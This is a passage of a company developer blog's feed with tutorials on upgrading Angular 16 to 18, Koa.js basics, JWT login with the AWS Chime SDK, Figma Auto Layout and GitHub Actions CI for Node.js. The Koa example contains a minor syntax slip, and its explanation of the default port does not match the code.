<li><p><strong>Angular 16:</strong> Brought the concept of standalone components, eliminating the need for <code>NgModules</code> in specific use cases, simplifying component structures.</p>
</li>
<li><p><strong>Angular 18:</strong> Refines this concept by offering more flexibility and robust features, making it easier to manage complex applications without relying on the traditional module-based architecture.</p>
</li>
</ul>
<h3 id="heading-performance-enhancements">Performance Enhancements:</h3>
<ul>
<li><p><strong>Angular 16:</strong> Focused on optimizing change detection and improving runtime performance, resulting in a smaller framework size.</p>
</li>
<li><p><strong>Angular 18:</strong> Places greater emphasis on performance, with further reductions in bundle size, faster load times, and improvements targeted at running applications smoothly on both high-end and low-powered devices.</p>
</li>
</ul>
<h3 id="heading-dependency-injection-di">Dependency Injection (DI):</h3>
<ul>
<li><p><strong>Angular 16:</strong> Enhanced dependency injection by improving error messages and ensuring better stability.</p>
</li>
<li><p><strong>Angular 18:</strong> Introduces further refinements, simplifying the handling of complex DI scenarios, and providing improved diagnostics and injectors for standalone components.</p>
</li>
</ul>
<hr />
<h2 id="heading-updating-angular-v16-to-angular-v18">Updating Angular v16 to Angular v18</h2>
<h3 id="heading-prerequisites-before-updating">Prerequisites Before Updating:</h3>
<ol>
<li><p><strong>Backup:</strong> Take a complete backup of your project to prevent data loss in case of errors during the update process.</p>
</li>
<li><p><strong>Compatibility Check:</strong> Ensure that all third-party packages and dependencies in your project are compatible with Angular v18.</p>
</li>
<li><p><strong>Sequential Updates:</strong> Angular v17 must be installed before moving to Angular v18. Below are the steps for this multi-step update.</p>
</li>
</ol>
<h3 id="heading-steps-to-update">Steps to Update:</h3>
<ol>
<li><p><strong>Node.js Version:</strong> Ensure you're using Node.js v18.13.0 or newer for Angular v17, and Node.js v18.19.0 or newer for Angular v18.</p>
</li>
<li><p><strong>TypeScript Version:</strong> Use TypeScript 5.2+ for Angular v17 and TypeScript 5.4+ for Angular v18.</p>
</li>
<li><p><strong>Zone.js Version:</strong> Angular v17 requires Zone.js v0.14.x or later.</p>
</li>
</ol>
<h4 id="heading-update-to-angular-v17">Update to Angular v17:</h4>
<ol>
<li><p>Run the following commands in your project directory:</p>
<pre><code class="lang-bash"> ng update @angular/core@17 @angular/cli@17
</code></pre>
</li>
<li><p>Update Angular Material:</p>
<pre><code class="lang-bash"> ng update @angular/material@17
</code></pre>
</li>
<li><p>Adjust the following router configurations:</p>
<ul>
<li><p><code>setupTestingRouter</code></p>
</li>
<li><p><code>canceledNavigationResolution</code></p>
</li>
<li><p><code>paramsInheritanceStrategy</code></p>
</li>
<li><p><code>titleStrategy</code></p>
</li>
<li><p><code>urlUpdateStrategy</code></p>
</li>
<li><p><code>urlHandlingStrategy</code></p>
</li>
<li><p><code>malformedUriErrorHandler</code></p>
</li>
</ul>
</li>
</ol>
<p>    These properties are now part of the <code>provideRouter</code> or <code>RouterModule.forRoot</code> instead of the Router's public API.</p>
<ol start="4">
<li><p>Update <code>NgSwitch</code> equality checks to use strict equality (<code>===</code>) instead of loose equality (<code>==</code>). Angular will provide warnings for adjustments needed.</p>
</li>
<li><p>For child routes using <code>loadComponent</code>, set <code>paramsInheritanceStrategy</code> to <code>always</code> if they should inherit data from their parent routes. The default in Angular v17 is <code>emptyOnly</code>.</p>
</li>
</ol>
<h4 id="heading-update-to-angular-v18">Update to Angular v18:</h4>
<ol>
<li><p>Once Angular v17 is installed, ensure that Node.js and TypeScript versions meet the Angular v18 requirements.</p>
</li>
<li><p>Update Angular to v18 by running:</p>
<pre><code class="lang-plaintext"> ng update @angular/core@18 @angular/cli@18
</code></pre>
</li>
<li><p>Update Angular Material to v18:</p>
<pre><code class="lang-bash"> ng update @angular/material@18
</code></pre>
</li>
</ol>
<p>By following these steps, you can smoothly upgrade your Angular project from v16 to v18, while ensuring compatibility and optimal performance.</p>
<hr />
<h2 id="heading-conclusion">Conclusion</h2>
<p>Updating from Angular v16 to Angular v18 brings significant performance improvements, better reactivity models, and more flexibility in how you structure your applications. Angular's move towards a modular and efficient architecture, especially with standalone components, will greatly enhance development productivity. The steps outlined ensure a smooth transition, allowing you to leverage the latest features and optimizations in Angular's ever-evolving ecosystem.</p>
<h3 id="heading-need-custom-development-get-expert-help"><strong>Need Custom Development? Get Expert Help!</strong> 🚀</h3>
<p>Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's <strong>custom software, backend architecture, API integrations, or performance tuning</strong>, we have you covered.</p>
<p>👉 <strong>Let’s build something amazing together!</strong> <a target="_blank" href="https://ghanshyamdigital.com/contact/">Get in touch</a></p>
]]></content:encoded></item><item><title><![CDATA[Everything You Need to Know About Koa.js 
                      in Node.js Development]]></title><description><![CDATA[Koa.js created by the same people that created by express Development team and first released on 2013. As their official website says, Koa considerably enhances error handling and helps do away with callback through the use on a async functions. Koa’...]]></description><link>https://blog.ghanshyamdigital.com/everything-you-need-to-know-about-koajs-in-nodejs-development</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/everything-you-need-to-know-about-koajs-in-nodejs-development</guid><category><![CDATA[Node.js]]></category><category><![CDATA[KoaJS]]></category><category><![CDATA[Express]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[backend]]></category><category><![CDATA[APIs]]></category><category><![CDATA[npm]]></category><dc:creator><![CDATA[Harkhani Chintan]]></dc:creator><pubDate>Sat, 14 Sep 2024 10:49:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726296368660/8266c195-9355-4826-b12b-677280a90bd2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Koa.js created by the same people that created by express Development team and first released on 2013. As their official website says, Koa considerably enhances error handling and helps do away with callback through the use on a async functions. Koa’s core doesn’t include any middleware. Koa.js aims to be a smaller, more expressive and more robust foundation for building web applications and APIs.</p>
<p>Koa.js is used by a of companies name including:</p>
<ul>
<li><p>Airbnb</p>
</li>
<li><p>Uber</p>
</li>
<li><p>GitHub</p>
</li>
<li><p>Microsoft etc.</p>
</li>
</ul>
<h3 id="heading-why-use-of-koajs">Why use of Koa.js?</h3>
<p>Koa.js used of a JavaScript generators, making the code shorter. Koa allows easy control of the request-response cycle without explicit callbacks. Unlike other frameworks, it doesn't come with built-in templating or routing tools, giving developers more freedom to customize their apps.</p>
<h3 id="heading-why-use-koajs-instead-of-expressjs">Why use Koa.js instead of Express.js?</h3>
<p>Because both Koa.js and Express.js were created by same team, Koa.js is a lightweight and flexible framework that uses async features to avoid callback hell, offering ctx.request and ctx.response objects. It lacks built-in routing and templating, relying on external libraries. Express.js extends Node's req and res objects with additional methods and attributes, providing built-in routing and middleware capabilities.</p>
<h3 id="heading-benefits-of-koajs">Benefits of Koa.js</h3>
<ul>
<li><p>Simplicity</p>
</li>
<li><p>Improved Performance</p>
</li>
<li><p>Easier Debugging</p>
</li>
<li><p>Enhanced Control etc.</p>
</li>
</ul>
<h3 id="heading-features-of-koajs">Features of Koa.js</h3>
<ul>
<li><p>It is modern and futuristic.</p>
</li>
<li><p>It is Minimalist Core.</p>
</li>
<li><p>It is Better Error Handling.</p>
</li>
<li><p>It uses ES6 generators. etc.</p>
</li>
</ul>
<h3 id="heading-installation-of-koajs">Installation of Koa.js</h3>
<p><strong>Install the node.js</strong> : Make sure you have Node.js installed. You can download it from <a target="_blank" href="https://nodejs.org/en">node.js.org.</a></p>
<ul>
<li>Koa Required for <strong>Node v12 .</strong></li>
</ul>
<p><strong>Set Up Your Project:</strong> Create a new directory for your project and initialize a new Node.js project.</p>
<ul>
<li>Create the new directory and new project</li>
</ul>
<pre><code class="lang-bash">mkdir &lt;projectname&gt;
<span class="hljs-built_in">cd</span> &lt;projectname&gt;
</code></pre>
<ul>
<li><p>Initialize a New node Project and install the Package: <strong>npm init -y</strong></p>
<pre><code class="lang-bash">  npm init -y
  npm install koa
</code></pre>
</li>
</ul>
<h3 id="heading-create-server">Create server</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// app.js</span>

<span class="hljs-comment">//install package</span>
<span class="hljs-keyword">const</span> koa = <span class="hljs-built_in">require</span>(<span class="hljs-string">"koa"</span>);
<span class="hljs-comment">//create the instance</span>
<span class="hljs-keyword">const</span> app = <span class="hljs-keyword">new</span> koa();
<span class="hljs-comment">//create the port</span>
<span class="hljs-keyword">const</span> port = <span class="hljs-number">8080</span>;
<span class="hljs-comment">//handel the HTTP Request</span>
app.use(<span class="hljs-keyword">async</span> ctx = <span class="hljs-function">() =&gt;</span> {
   ctx.body = <span class="hljs-string">"Hello World.."</span>; <span class="hljs-comment">// Respond with "Hello world" for all Request</span>
};

<span class="hljs-comment">// Create and start the server</span>
app.listen(port || process.env.PORT , <span class="hljs-function">() =&gt;</span>{
   <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Server Is running on url : http://localhost:<span class="hljs-subst">${port}</span>`</span>); <span class="hljs-comment">//// Log a message when the server starts</span>
});
</code></pre>
<p><strong>Run Application :</strong></p>
<pre><code class="lang-javascript">node app.js
</code></pre>
<p>Imports the Koa module and creates a Koa application instance (<code>app</code>). This instance will be used to configure middleware and handle HTTP requests.Registers middleware that responds with <code>'Hello World'</code> for all HTTP requests.Sets the server's port number (using an environment variable or defaulting to 3000), and starts the server, logging a message indicating that it's running.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Koa.js, developed by the same team as Express.js, provides a lightweight, flexible framework that leverages modern JavaScript features like async functions for more expressive request handling.</p>
<p>Unlike Express, Koa doesn't come with built-in middleware or routing, offering developers greater customization and control.</p>
<p>Its minimalistic core and improved performance make it a robust choice for building web applications and APIs. Koa's emphasis on simplicity and modern features enhances debugging and overall development efficiency.</p>
]]></content:encoded></item><item><title><![CDATA[How to Implement JWT Login with AWS Chime SDK in Node.js]]></title><description><![CDATA[When developing a video, voice communication, or message chat system using the AWS Chime SDK, user authentication is a crucial part. One way to securely authenticate users is by using JSON Web Tokens (JWT). In this blog post, we will explore how to i...]]></description><link>https://blog.ghanshyamdigital.com/how-to-implement-jwt-login-with-aws-chime-sdk-in-nodejs</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/how-to-implement-jwt-login-with-aws-chime-sdk-in-nodejs</guid><category><![CDATA[aws-chime]]></category><category><![CDATA[AWS]]></category><category><![CDATA[JWT]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[JavaScript]]></category><dc:creator><![CDATA[Parth]]></dc:creator><pubDate>Sat, 14 Sep 2024 10:04:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726301266981/85838e0b-d7cf-46ca-8948-3332e1824869.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When developing a video, voice communication, or message chat system using the AWS Chime SDK, user authentication is a crucial part. One way to securely authenticate users is by using JSON Web Tokens (JWT). In this blog post, we will explore how to implement JWT-based login for AWS Chime SDK in Node.js, walking through the necessary setup and the provided code.</p>
<h3 id="heading-prerequisites">Prerequisites</h3>
<p>Before we begin, ensure that you have the following:</p>
<ul>
<li><p>AWS Account with access to Chime SDK</p>
</li>
<li><p>Basic knowledge of JWT and its usage</p>
</li>
<li><p>Node.js environment installed on your local machine</p>
</li>
<li><p>AWS SDK for JavaScript installed in your project</p>
</li>
</ul>
<h2 id="heading-setting-up-aws-chime-sdk">Setting Up AWS Chime SDK</h2>
<ol>
<li><p><strong>Install AWS SDK and Chime SDK</strong></p>
<p> First, you need to install the required AWS SDK in your Node.js project.</p>
<pre><code class="lang-markdown">  npm install aws-sdk uuid
</code></pre>
<p> The <code>aws-sdk</code> package allows us to interact with AWS services, including AWS Chime. The <code>uuid</code> package is used for generating unique tokens for AWS API requests.</p>
</li>
<li><p><strong>Set Up Environment Variables</strong></p>
<p> You will also need to set some environment variables that are used in the application:</p>
<pre><code class="lang-plaintext"> USER_ROLE_ARN=arn:aws:iam::xxxxxxxx:role/YourUserRole
 CHIME_APP_INSTANCE_ARN=arn:aws:chime:us-east-1:xxxxxxxx:app-instance/YourChimeAppInstance
</code></pre>
<p> These values can be found in your AWS IAM roles and AWS Chime SDK settings.</p>
</li>
</ol>
<h2 id="heading-jwt-based-user-login-in-aws-chime-sdk">JWT-Based User Login in AWS Chime SDK</h2>
<p>The provided code implements a login system where users are authenticated using JWT tokens, and AWS Chime SDK is used to create or retrieve the necessary credentials for communication.</p>
<h4 id="heading-step-by-step-breakdown-of-the-code">Step-by-Step Breakdown of the Code</h4>
<p>Let’s break down the code and explain how it works:</p>
<pre><code class="lang-javascript">typescriptCopy codeasync userSignIn(userData: any) {
  <span class="hljs-keyword">const</span> { id, full_name } = userData;

  <span class="hljs-comment">// Step 1: Create a user object that contains the UUID and display name</span>
  <span class="hljs-keyword">const</span> user: any = {
    <span class="hljs-attr">uuid</span>: id,
    <span class="hljs-attr">displayName</span>: full_name,
    <span class="hljs-attr">metadata</span>: <span class="hljs-literal">null</span>
  };

  <span class="hljs-comment">// Step 2: Assume a role using AWS Security Token Service (STS) to obtain temporary credentials</span>
  <span class="hljs-keyword">const</span> creds = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.assumeRole(user);

  <span class="hljs-comment">// Step 3: Either create a new Chime user or get the existing user's ARN</span>
  <span class="hljs-keyword">const</span> userArn = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.createOrGetChimeUserArn(user);

  <span class="hljs-comment">// Step 4: Return the necessary Chime credentials to the frontend</span>
  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">ChimeAppInstanceUserArn</span>: userArn,
    <span class="hljs-attr">ChimeUserId</span>: user.uuid,
    <span class="hljs-attr">ChimeCredentials</span>: creds,
    <span class="hljs-attr">ChimeDisplayName</span>: user.displayName
  };
}
</code></pre>
<p><strong>Explanation:</strong></p>
<ul>
<li><strong>userSignIn function:</strong> This function takes user data (including <code>id</code> and <code>full_name</code>), creates a user object, and assumes a role via AWS STS to get temporary credentials. It then creates or retrieves the Chime App Instance User's ARN and returns the required credentials to the frontend.</li>
</ul>
<h4 id="heading-assuming-role-with-aws-sts">Assuming Role with AWS STS</h4>
<pre><code class="lang-javascript">typescriptCopy codeasync assumeRole(user: any) {
  <span class="hljs-keyword">const</span> USER_ROLE_ARN = process.env.USER_ROLE_ARN || <span class="hljs-string">''</span>;

  <span class="hljs-keyword">const</span> assumedRoleResponse = <span class="hljs-keyword">await</span> sts
    .assumeRole({
      <span class="hljs-attr">RoleArn</span>: USER_ROLE_ARN,
      <span class="hljs-attr">RoleSessionName</span>: <span class="hljs-string">`chime_<span class="hljs-subst">${user.uuid}</span>`</span>,
      <span class="hljs-attr">DurationSeconds</span>: <span class="hljs-number">3600</span>,
      <span class="hljs-attr">Tags</span>: [
        {
          <span class="hljs-attr">Key</span>: <span class="hljs-string">'UserUUID'</span>,
          <span class="hljs-attr">Value</span>: user.uuid.toString()
        }
      ]
    })
    .promise();
  <span class="hljs-keyword">return</span> assumedRoleResponse.Credentials;
}
</code></pre>
<ul>
<li><strong>AssumeRole function:</strong> This function interacts with AWS Security Token Service (STS) to assume a role specified in the environment variable <code>USER_ROLE_ARN</code>. It tags the session with the user’s UUID and returns the temporary credentials.</li>
</ul>
<h4 id="heading-creating-or-getting-chime-user-arn">Creating or Getting Chime User ARN</h4>
<pre><code class="lang-javascript">typescriptCopy codeasync createOrGetChimeUserArn(user: AwsChimeUserData) {
  <span class="hljs-keyword">const</span> createUserResponse = <span class="hljs-keyword">await</span> chimeIdentity
    .createAppInstanceUser({
      <span class="hljs-attr">AppInstanceArn</span>: appConfig.appInstanceArn,
      <span class="hljs-attr">AppInstanceUserId</span>: user.uuid.toString(),
      <span class="hljs-attr">ClientRequestToken</span>: uuid(),
      <span class="hljs-attr">Name</span>: user.displayName
    })
    .promise();

  <span class="hljs-keyword">return</span> createUserResponse.AppInstanceUserArn;
}
</code></pre>
<ul>
<li><strong>createOrGetChimeUserArn function:</strong> This function either creates a new App Instance User or retrieves an existing user using the AWS Chime SDK. It requires the <code>AppInstanceArn</code> (set via environment variables), user ID, and display name.</li>
</ul>
<hr />
<h3 id="heading-conclusion">Conclusion</h3>
<p>By combining JWT authentication with the AWS Chime SDK, you can provide secure access to meetings, video conferences, and chat functionality. In this guide, we walked through the code that performs the following tasks:</p>
<ol>
<li><p>Authenticates users with JWT tokens.</p>
</li>
<li><p>Assumes roles via AWS STS for temporary credentials.</p>
</li>
<li><p>Creates or retrieves AWS Chime App Instance User ARN for each user.</p>
</li>
</ol>
<p>This setup ensures that your application’s communication system is both secure and scalable.</p>
<p><strong>Next Steps:</strong></p>
<ul>
<li><p>Expand this implementation with JWT token validation for additional security.</p>
</li>
<li><p>Implement token expiration handling to reauthenticate users as needed.</p>
</li>
</ul>
<h3 id="heading-need-custom-development-get-expert-help"><strong>Need Custom Development? Get Expert Help!</strong> 🚀</h3>
<p>Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's <strong>custom software, backend architecture, API integrations, or performance tuning</strong>, we have you covered.</p>
<p>👉 <strong>Let’s build something amazing together!</strong> <a target="_blank" href="https://ghanshyamdigital.com/contact/">Get in touch</a></p>
]]></content:encoded></item><item><title><![CDATA[How to Use Figma Auto Layout for Responsive Design.]]></title><description><![CDATA[Introduction:
In the world of web and app design, responsiveness is key. Designers need to ensure their creations look great on any device, whether it’s a smartphone, tablet, or desktop. This is where Figma’s Auto Layout feature comes in handy. In th...]]></description><link>https://blog.ghanshyamdigital.com/how-to-use-figma-auto-layout-for-responsive-design</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/how-to-use-figma-auto-layout-for-responsive-design</guid><category><![CDATA[figma]]></category><dc:creator><![CDATA[Patel Ayushi]]></dc:creator><pubDate>Sat, 14 Sep 2024 10:02:46 GMT</pubDate><content:encoded><![CDATA[<p><strong>Introduction:</strong></p>
<p>In the world of web and app design, responsiveness is key. Designers need to ensure their creations look great on any device, whether it’s a smartphone, tablet, or desktop. This is where Figma’s Auto Layout feature comes in handy. In this article, we’ll explore how you can use Figma Auto Layout to create designs that adapt seamlessly to different screen sizes.</p>
<p><strong>What is Figma Auto Layout?</strong></p>
<p>Figma Auto Layout is a feature that allows you to create frames and components that automatically adjust to content changes. This means you can create buttons, lists, or entire layouts that resize as the content within them changes, making your designs more flexible and efficient.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1724219844854/5ef48789-0ec0-4aba-b587-8fe030a97bf6.png" alt class="image--center mx-auto" /></p>
<p><strong>Benefits of Using Auto Layout for Responsive Design</strong></p>
<ul>
<li><p><strong>Consistency:</strong> Ensures uniform spacing and alignment across your design.</p>
</li>
<li><p><strong>Efficiency:</strong> Reduces the need for manual adjustments when content changes.</p>
</li>
<li><p><strong>Responsiveness:</strong> Easily adapt your designs to different screen sizes without starting from scratch.</p>
</li>
</ul>
<p><strong>Step-by-Step Guide: Creating a Responsive Card Design with Auto Layout</strong></p>
<ol>
<li><p><strong>Create a New Frame:</strong> Start by creating a frame that will serve as the container for your card. Set the dimensions to 300x400 pixels.</p>
</li>
<li><p><strong>Add Content to the Frame:</strong> Inside the frame, add a rectangle for an image placeholder at the top, followed by a text box for the title, a paragraph for the description, and a button at the bottom.</p>
</li>
<li><p><strong>Apply Auto Layout:</strong></p>
<ul>
<li><p>Select the content within the frame (excluding the image).</p>
</li>
<li><p>Right-click and select "Add Auto Layout" or press <code>Shift + A</code>.</p>
</li>
<li><p>Adjust the padding, spacing, and alignment as needed.</p>
</li>
</ul>
</li>
<li><p><strong>Make the Card Responsive:</strong></p>
<ul>
<li><p>Select the frame containing your card.</p>
</li>
<li><p>In the right-hand panel, under "Constraints," set the width to "Fill container" to make the card responsive.</p>
</li>
<li><p>Resize the frame to see how your card adjusts automatically.</p>
</li>
</ul>
</li>
<li><p><strong>Test Your Design:</strong></p>
<ul>
<li><p>Preview your design in Figma’s prototype mode.</p>
</li>
<li><p>Test how the card responds to different frame sizes.</p>
</li>
</ul>
</li>
</ol>
<p><strong>Tips and Best Practices</strong></p>
<ul>
<li><p><strong>Use Consistent Spacing:</strong> Maintain consistent padding and margins for a clean design.</p>
</li>
<li><p><strong>Experiment with Nested Auto Layouts:</strong> Combine multiple Auto Layouts for complex designs.</p>
</li>
<li><p><strong>Preview on Different Devices:</strong> Always preview your design on various devices to ensure responsiveness.</p>
</li>
</ul>
<p><strong>Conclusion:</strong></p>
<p>Figma’s Auto Layout feature is a game-changer for responsive design. By using Auto Layout, you can ensure that your designs look great on any device with minimal effort. Whether you’re designing a button, a card, or an entire page, Auto Layout can help you create flexible and responsive designs quickly and efficiently.</p>
<p><strong>Call-to-Action:</strong> Try out Figma’s Auto Layout feature today and see how it can improve your design workflow. For more tips and tutorials on Figma, check out our other articles!</p>
]]></content:encoded></item><item><title><![CDATA[Getting Started with GitHub Actions for Your Node.js App: A Step-by-Step Guide]]></title><description><![CDATA[Hello fellow developers! 🎉 In this post, we’re diving into GitHub Actions—one of the best tools for automating workflows. Whether you’re new to CI/CD or looking to optimize your process, we’ll walk through setting up a simple GitHub Actions workflow...]]></description><link>https://blog.ghanshyamdigital.com/getting-started-with-github-actions-for-your-nodejs-app-a-step-by-step-guide</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/getting-started-with-github-actions-for-your-nodejs-app-a-step-by-step-guide</guid><category><![CDATA[GitHub]]></category><category><![CDATA[github-actions]]></category><category><![CDATA[Git]]></category><category><![CDATA[Actions]]></category><dc:creator><![CDATA[Dhruvang Dave]]></dc:creator><pubDate>Sat, 14 Sep 2024 09:58:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726306724646/8f5a7d7c-e52e-492a-b939-35e516df57b4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://github.com/actions/starter-workflows/actions"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726305164380/1648369f-146a-43d3-a4e0-ea181130b438.webp" alt="Testing for different environments" class="image--center mx-auto" /></a></p>
<p>Hello fellow developers! 🎉 In this post, we’re diving into GitHub Actions—one of the best tools for automating workflows. Whether you’re new to CI/CD or looking to optimize your process, we’ll walk through setting up a simple GitHub Actions workflow for a Node.js app, complete with automated testing.</p>
<p>Let’s get rolling!</p>
<hr />
<h3 id="heading-what-is-github-actions">👓 What is GitHub Actions?</h3>
<p>GitHub Actions enables us to automate, customize, and execute our software development workflows right from our GitHub repository. We can define actions that respond to events like push, pull request, and issue creation.</p>
<hr />
<h3 id="heading-why-github-actions">🌟 Why GitHub Actions?</h3>
<p>Imagine this: every time we push code to GitHub, a magic script automatically runs tests, checks the code, and gives us the green light before deploying. That’s what GitHub Actions brings to the table!</p>
<p>By the end of this post, we’ll have:</p>
<ul>
<li><p>A workflow that tests our Node.js app automatically.</p>
</li>
<li><p>Knowledge of how to extend the workflow for deployment and more.</p>
</li>
</ul>
<p>Sound good? Let’s get started! 🚀</p>
<hr />
<h3 id="heading-step-1-create-your-nodejs-app">🚀 Step 1: Create Your Node.js App</h3>
<p>If you already have a Node.js app, great! If not, let’s build a simple one real quick. We’ll use <strong>Express</strong> to create a basic server with a single endpoint.</p>
<h4 id="heading-create-the-server-file">Create the Server File</h4>
<pre><code class="lang-javascript"><span class="hljs-comment">// server.js</span>
<span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> app = express();

app.get(<span class="hljs-string">'/api/hello'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.json({ <span class="hljs-attr">message</span>: <span class="hljs-string">'Hello, world!'</span> });
});

<span class="hljs-keyword">const</span> PORT = process.env.PORT || <span class="hljs-number">3000</span>;
app.listen(PORT, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Server running on port <span class="hljs-subst">${PORT}</span>`</span>);
});

<span class="hljs-built_in">module</span>.exports = app;
</code></pre>
<p>This just returns a JSON message at <code>/api/hello</code>. We can run this with <code>node server.js</code> to check it out. Pretty simple, right? Let’s make sure it works by writing a test!</p>
<hr />
<h3 id="heading-step-2-write-a-unit-test">🧪 Step 2: Write a Unit Test</h3>
<p>We’re going to use <a target="_blank" href="https://jestjs.io/docs/getting-started"><strong>Jest</strong></a> and <a target="_blank" href="https://www.npmjs.com/package/supertest"><strong>Supertest</strong></a> to verify that the <code>/api/hello</code> endpoint works. Tests are our safety net, especially when deploying automatically.</p>
<h4 id="heading-create-the-test-file-for-node-project">Create the Test File for Node project</h4>
<pre><code class="lang-javascript"><span class="hljs-comment">// server.test.js</span>
<span class="hljs-keyword">const</span> request = <span class="hljs-built_in">require</span>(<span class="hljs-string">'supertest'</span>);
<span class="hljs-keyword">const</span> app = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./server'</span>);

describe(<span class="hljs-string">'GET /api/hello'</span>, <span class="hljs-function">() =&gt;</span> {
  it(<span class="hljs-string">'should return Hello, world! message'</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">const</span> res = <span class="hljs-keyword">await</span> request(app).get(<span class="hljs-string">'/api/hello'</span>);
    expect(res.statusCode).toEqual(<span class="hljs-number">200</span>);
    expect(res.body.message).toBe(<span class="hljs-string">'Hello, world!'</span>);
  });
});
</code></pre>
<hr />
<h3 id="heading-step-3-setting-up-github-actions">🛠️ Step 3: Setting Up GitHub Actions</h3>
<p>Now for the exciting part—let’s automate! 💻</p>
<p>We’re going to create a GitHub Actions workflow that runs this test automatically every time we push to the <code>main</code> branch or open a pull request.</p>
<h4 id="heading-create-the-workflow-file">Create the Workflow File</h4>
<ol>
<li><p>In the project root, create a <code>.github/workflows</code> directory (if it doesn’t exist).</p>
</li>
<li><p>Inside that folder, create a file named <code>nodejs.yml</code>.</p>
</li>
</ol>
<pre><code class="lang-yaml"><span class="hljs-comment"># .github/workflows/nodejs.yml</span>
<span class="hljs-attr">name:</span> <span class="hljs-string">Node.js</span> <span class="hljs-string">CI</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">main</span>
  <span class="hljs-attr">pull_request:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">main</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">build:</span>

    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>

    <span class="hljs-attr">strategy:</span>
      <span class="hljs-attr">matrix:</span>
        <span class="hljs-attr">node-version:</span> [<span class="hljs-number">16.</span><span class="hljs-string">x</span>]

    <span class="hljs-attr">steps:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Checkout</span> <span class="hljs-string">repository</span>
      <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v3</span>

    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Setup</span> <span class="hljs-string">Node.js</span>
      <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-node@v3</span>
      <span class="hljs-attr">with:</span>
        <span class="hljs-attr">node-version:</span> <span class="hljs-string">${{</span> <span class="hljs-string">matrix.node-version</span> <span class="hljs-string">}}</span>

    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Install</span> <span class="hljs-string">dependencies</span>
      <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">install</span>

    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Run</span> <span class="hljs-string">tests</span>
      <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">test</span>
</code></pre>
<hr />
<h3 id="heading-step-4-whats-going-on-here">🧐 Step 4: What’s Going On Here?</h3>
<p>Let’s break it down together:</p>
<ul>
<li><p><strong>name:</strong> The name of the workflow—"Node.js CI" in this case.</p>
</li>
<li><p><strong>on:</strong> We trigger this workflow whenever there’s a <code>push</code> or <code>pull_request</code> to the <code>main</code> branch.</p>
</li>
<li><p><strong>jobs:</strong> Here, we define the job that will run. It checks out the repository, sets up Node.js, installs dependencies, and runs the tests.</p>
</li>
<li><p><strong>matrix:</strong> This allows us to run the job on different Node.js versions (like testing on <code>14.x</code> or <code>16.x</code>).</p>
</li>
</ul>
<p>📋 <strong>Quick check!</strong> Before moving forward, do a quick push and see if everything works. GitHub Actions will kick off automatically, running our workflow!</p>
<hr />
<h3 id="heading-step-5-watch-your-workflow-in-action">👀 Step 5: Watch Your Workflow in Action</h3>
<p>Head over to the <strong>Actions</strong> tab in our GitHub repo. We’ll see the workflow running. If all goes well, it should pass! 🎉</p>
<p>If there’s an error, don’t worry—this is part of the learning process! Double-check the code and the workflow file to ensure everything matches up.</p>
<hr />
<h3 id="heading-step-6-customize-your-workflow">🛠️Step 6: Customize Your Workflow</h3>
<p>Want to go a step further? Here are a few ideas:</p>
<ul>
<li><p><strong>Multiple Node.js versions:</strong> Add more versions to the <code>matrix</code> to test across <code>14.x</code> and <code>16.x</code>.</p>
</li>
<li><p><strong>Linting:</strong> Add a step for running <a target="_blank" href="https://eslint.org/docs/latest/use/core-concepts/"><strong>ESLint</strong></a> to keep the code clean.</p>
</li>
<li><p><strong>Deploying:</strong> Integrate the deployment process using GitHub Actions, so our app gets deployed once tests pass.</p>
</li>
</ul>
<hr />
<h3 id="heading-wrapping-up">🌈 Wrapping Up</h3>
<p>And there we have it, a simple but powerful GitHub Actions setup for our Node.js app! By automating testing, we ensure our code is always in good shape before merging or deploying. Feel free to extend this setup to cover more advanced workflows, like deployments or integrations with third-party services.</p>
<p>What else would we add to our CI/CD pipeline? Drop your thoughts in the comments below! 💬</p>
<hr />
